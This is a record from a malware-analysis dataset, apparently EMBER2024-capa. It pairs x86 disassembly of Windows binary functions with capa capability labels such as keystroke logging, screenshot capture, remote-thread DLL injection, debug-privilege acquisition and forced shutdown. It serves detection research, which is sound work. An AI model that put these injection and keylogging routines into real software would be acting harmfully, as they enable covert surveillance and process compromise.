joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4374d4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x437520
mov eax, esi
call fcn.0044d048
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x437520
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x437520
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x43765f
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x437560
cmp eax, 0x108
ja 0x437560
mov eax, esi
call fcn.0044d048
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x437656
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x43765f
jmp 0x437656
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x43763f
cmp eax, 0x20a
ja 0x43763f
test byte [esi + 0x50], 0x80
jne 0x437592
sub eax, 0x203
je 0x43758f
sub eax, 3
je 0x43758f
sub eax, 3
jne 0x437592
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x4375a6
dec eax
je 0x4375bb
dec eax
je 0x4375d8
dec eax
je 0x4375bb
jmp 0x4375df
mov ecx, ebx
mov eax, dword [0x486fac]
mov eax, dword [eax]
mov edx, esi
call fcn.00456920
jmp 0x437656
cmp byte [esi + 0x5d], 1
jne 0x4375d1
mov eax, esi
mov si, 0xffed
call fcn.0040388c
jmp 0x43765f
or word [esi + 0x54], 1
jmp 0x437656
and word [esi + 0x54], 0xfffe
jmp 0x437656
mov eax, dword [0x488b14]
cmp byte [eax + 0x20], 0
je 0x437656
mov eax, dword [0x488b14]
cmp dword [eax + 0x1c], 0
je 0x437656
mov eax, dword [ebx]
mov edx, dword [0x488b14]
cmp eax, dword [edx + 0x1c]
jne 0x437656
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0044cf8c
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.0040388c
jmp 0x43765f
cmp eax, 0xb00b
jne 0x437656
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.00435e10
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43ab60
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x43ab7c
cmp dword [esi + 4], 0
je 0x43aba9
test byte [ebx + 0x55], 1
jne 0x43ab9b
mov eax, ebx
call fcn.0043976c
test eax, eax
jne 0x43ab9b
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x43acb9
mov edx, esi
mov eax, ebx
call fcn.0043a684
jmp 0x43acb9
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43acb2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043c9d0
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00437408
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043ab60
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043c9d0
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43acb9
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x441254
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4871d4]
cmp byte [eax + 0xc], 0
je 0x4413c1
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4413ba
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x488b68], 0
jne 0x4412a8
push 0x4413c8
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x4413d0
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b68], eax
cmp dword [0x483bb4], 0
jne 0x4413a3
push 0x4413e0
call sub.kernel32.dll_LoadLibraryA
mov dword [0x483bb4], eax
cmp dword [0x483bb4], 0
je 0x4413a3
push 0x4413ec
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b6c], eax
push 0x4413fc
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b70], eax
push 0x441410
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b74], eax
push 0x441428
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b78], eax
push 0x441440
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b7c], eax
push 0x441454
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b80], eax
push 0x44146c
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b84], eax
push 0x441484
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b88], eax
push 0x4414a0
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b8c], eax
push 0x4414ac
mov eax, dword [0x483bb4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x488b90], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4413c1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x445704
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404494
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x445753
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404704
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44cefc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44cf4c]
test si, 4
je 0x44cf10
or bl, 1
test si, 8
je 0x44cf1a
or bl, 4
test si, 1
je 0x44cf24
or bl, 8
test si, 2
je 0x44cf2e
or bl, 0x10
test si, 0x10
je 0x44cf38
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44cf47
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44cf50
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44cf88]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44cf69
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44cf78
or bl, 4
test esi, 0x20000000
je 0x44cf83
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45364c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45365e
add esp, 0xfffffff0
call fcn.004039bc
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041b7f4
mov eax, dword [0x486cc8]
mov dword [eax + 4], ebx
mov dword [eax], 0x4539f0
mov eax, dword [0x486cd8]
mov dword [eax + 4], ebx
mov dword [eax], 0x4539fc
mov eax, ebx
call fcn.00453a08
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4127c0]
call fcn.00403654
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4127c0]
call fcn.00403654
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4127c0]
call fcn.00403654
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4127c0]
call fcn.00403654
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4127c0]
call fcn.00403654
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44fe20
push eax
push 0
push 0
mov eax, dword [0x486ee4]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41d260]
call fcn.0041e9f8
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41d260]
call fcn.0041e9f8
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41d260]
call fcn.0041e9f8
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00453e58
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453d20
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453d20
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453d20
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45379b
call fcn.00403a14
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x453b04
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x453caf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x453c90
mov dl, 1
mov eax, dword [0x412e24]
call fcn.00403654
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404494
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x453c7f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004415b4
test al, al
je 0x453c72
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x453cc0
lea eax, [ebp - 0x254]
call fcn.00409820
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x453c72
xor eax, eax
push ebp
push 0x453c6b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x453cf8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x453c54
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404704
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x453c54
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404704
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453c72
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x453b75
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004173dc
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453cb6
lea eax, [ebp - 0x260]
call fcn.00404494
ret

Function at 0x4545f8
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x488bb4]
cmp byte [eax + 0xa5], 0
jne 0x454669
cmp dword [0x488bcc], 0
jne 0x45462a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4545b4
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x488bcc], eax
cmp dword [0x488bc8], 0
jne 0x454645
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x488bc8], eax
cmp dword [0x488bd0], 0
jne 0x454669
push esp
push 0
push 0
push 0x454558
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x488bd0], eax
pop edx
ret
Function at 0x454cfc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x488bb4]
cmp dword [eax + 0x30], 0
je 0x454da6
cmp dword [ebx + 0x94], 0
jne 0x454da0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x454c8c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x454da0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x454d66
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x454da0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414dcc
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x454d75
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x455904
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x455939
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404584
jmp 0x455946
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004044e8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x456a68
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x456aa9
mov eax, esi
call fcn.0043cc30
test al, al
je 0x456aa9
mov eax, dword [ebx + 0x84]
call fcn.0043c9d0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x456aa9
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043c9d0
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45a194
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x45a1c2
mov eax, ebx
call fcn.0045ac48
cmp dword [ebx + 0x40], 0
je 0x45a1bb
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45a233
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x45a225
cmp dword [ebx + 8], 0
je 0x45a1e4
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x45a1f6
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45a225
cmp dword [ebx + 8], 0
je 0x45a1d7
cmp eax, 3
je 0x45a209
dec eax
jne 0x45a1d7
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45a1d7
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45a1d7
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45a251
cmp dword [ebx + 0x14], 0xcc
je 0x45a251
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045a25c
pop ebx
ret
Function at 0x480640
Capabilities:
Acquire debug privileges

Disassembly:
add esp, 0xffffffe8
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x480690
lea eax, [esp + 0xc]
push eax
push 0x480694
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
add esp, 0x18
ret

Function at 0x4807ec
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404944
xor eax, eax
push ebp
push 0x48086b
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.00404954
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x480855
push 0
lea eax, [ebp - 8]
push eax
push 0x2400
push 0x484760
push esi
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x48084f
mov bl, 1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480872
lea eax, [ebp - 4]
call fcn.00404494
ret

Function at 0x480900
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
mov esi, edx
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.0048087c
test eax, eax
jne 0x4809c2
mov dword [esp + 8], esi
mov eax, ebx
call fcn.004806a8
mov ebx, eax
call fcn.00480640
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov eax, 0x4809c8
call fcn.004091ac
mov esi, eax
inc esi
push 4
push 0x1000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov dword [esp + 4], eax
push esp
push esi
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push eax
push ebx
call sub.kernel32.dll_WriteProcessMemory
push esp
push 0
mov eax, dword [esp + 0xc]
push eax
push 0x4809e4
push 0x4809f4
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov esi, eax
test esi, esi
je 0x4809aa
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_WaitForSingleObject
push esi
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
mov eax, dword [esp + 0xc]
push eax
push ebx
call sub.kernel32.dll_VirtualFreeEx
push ebx
call sub.kernel32.dll_CloseHandle
add esp, 0xc
pop esi
pop ebx
ret
Function at 0x480a04
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, edx
mov esi, eax
mov eax, esi
call fcn.004806a8
mov ebx, eax
call fcn.00480640
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, edi
mov eax, esi
call fcn.0048087c
mov esi, eax
test esi, esi
je 0x480a6c
push esp
push 0
push esi
push 0x480a78
push 0x480a84
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov esi, eax
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_WaitForSingleObject
push esi
call sub.kernel32.dll_CloseHandle
push ebx
call sub.kernel32.dll_CloseHandle
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x480cfc
Capabilities:
Log keystrokes via application hook

Disassembly:
cmp dword [0x488e98], 0
jne 0x480d1e
push 0
mov eax, dword [0x488664]
push eax
push 0x480bf4
push 0xd
call sub.user32.dll_SetWindowsHookExW
mov dword [0x488e98], eax
ret

Function at 0x481eb0
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffff54
lea eax, [esp + 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x481f63
mov dword [esp + 8], 0x94
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x481f63
mov eax, dword [esp + 0x18]
dec eax
je 0x481f57
dec eax
jne 0x481f63
lea eax, [esp + 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 0xa0]
push eax
push 0x481f6c
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x481f49
mov dword [esp + 0xa8], 2
mov dword [esp + 0x9c], 1
push esp
push 0
push 0
lea eax, [esp + 0xa8]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0xffff
push 2
call sub.user32.dll_ExitWindowsEx
jmp 0x481f63
push 0xffff
push 2
call sub.user32.dll_ExitWindowsEx
add esp, 0xac
ret

Function at 0x481f80
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffff54
lea eax, [esp + 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x48202d
mov dword [esp + 8], 0x94
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x48202d
mov eax, dword [esp + 0x18]
dec eax
je 0x482024
dec eax
jne 0x48202d
lea eax, [esp + 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 0xa0]
push eax
push 0x482034
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x482019
mov dword [esp + 0xa8], 2
mov dword [esp + 0x9c], 1
push esp
push 0
push 0
lea eax, [esp + 0xa8]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push 0xd
call sub.user32.dll_ExitWindowsEx
jmp 0x48202d
push 0
push 0xd
call sub.user32.dll_ExitWindowsEx
add esp, 0xac
ret
Function at 0x100010bc
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x100010ce
mov eax, dword [0x1000a08b]
shl eax, 2
mov dword [0x1000a08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.100030ac
pop edx
call fcn.10002448
call fcn.100030b0
push 0
call fcn.100042b4
pop ecx
push 0x1000a034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x1000a093], eax
push 0
jmp fcn.10007d64

Function at 0x10001394
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffddc
mov eax, dword [0x1000a37c]
mov edx, dword [0x1000a384]
lea ecx, [ebp - 0x224]
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [0x1000a380]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], edx
mov edx, dword [0x1000a388]
mov dword [0x1000cf70], 1
mov dword [ebp - 0x18], edx
push 0x208
push ecx
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x224]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100014d8
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
mov edi, eax
push 2
push 0
push 0xfffffffffffffff8
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 4]
push 0
push eax
lea edx, [ebp - 0x14]
push 8
push edx
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x10001443
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x100014da
push 8
lea edx, [ebp - 0x14]
push edx
lea ecx, [ebp - 0x1c]
push ecx
call fcn.1000351c
add esp, 0xc
test eax, eax
je 0x1000145d
xor eax, eax
jmp 0x100014da
push 2
push 0
push 0xfffffffffffffff4
push ebx
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea edx, [ebp - 4]
push edx
push 4
push esi
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x10001486
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x100014da
push 4
push 0x1000
mov edx, dword [esi]
push edx
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [0x1000a378], eax
mov eax, edi
sub eax, dword [esi]
sub eax, 0xc
push 0
push 0
push eax
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea edx, [ebp - 4]
push 0
push edx
mov eax, dword [0x1000a378]
mov ecx, dword [esi]
push ecx
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x100014d1
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x100014da
mov eax, 1
jmp 0x100014da
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret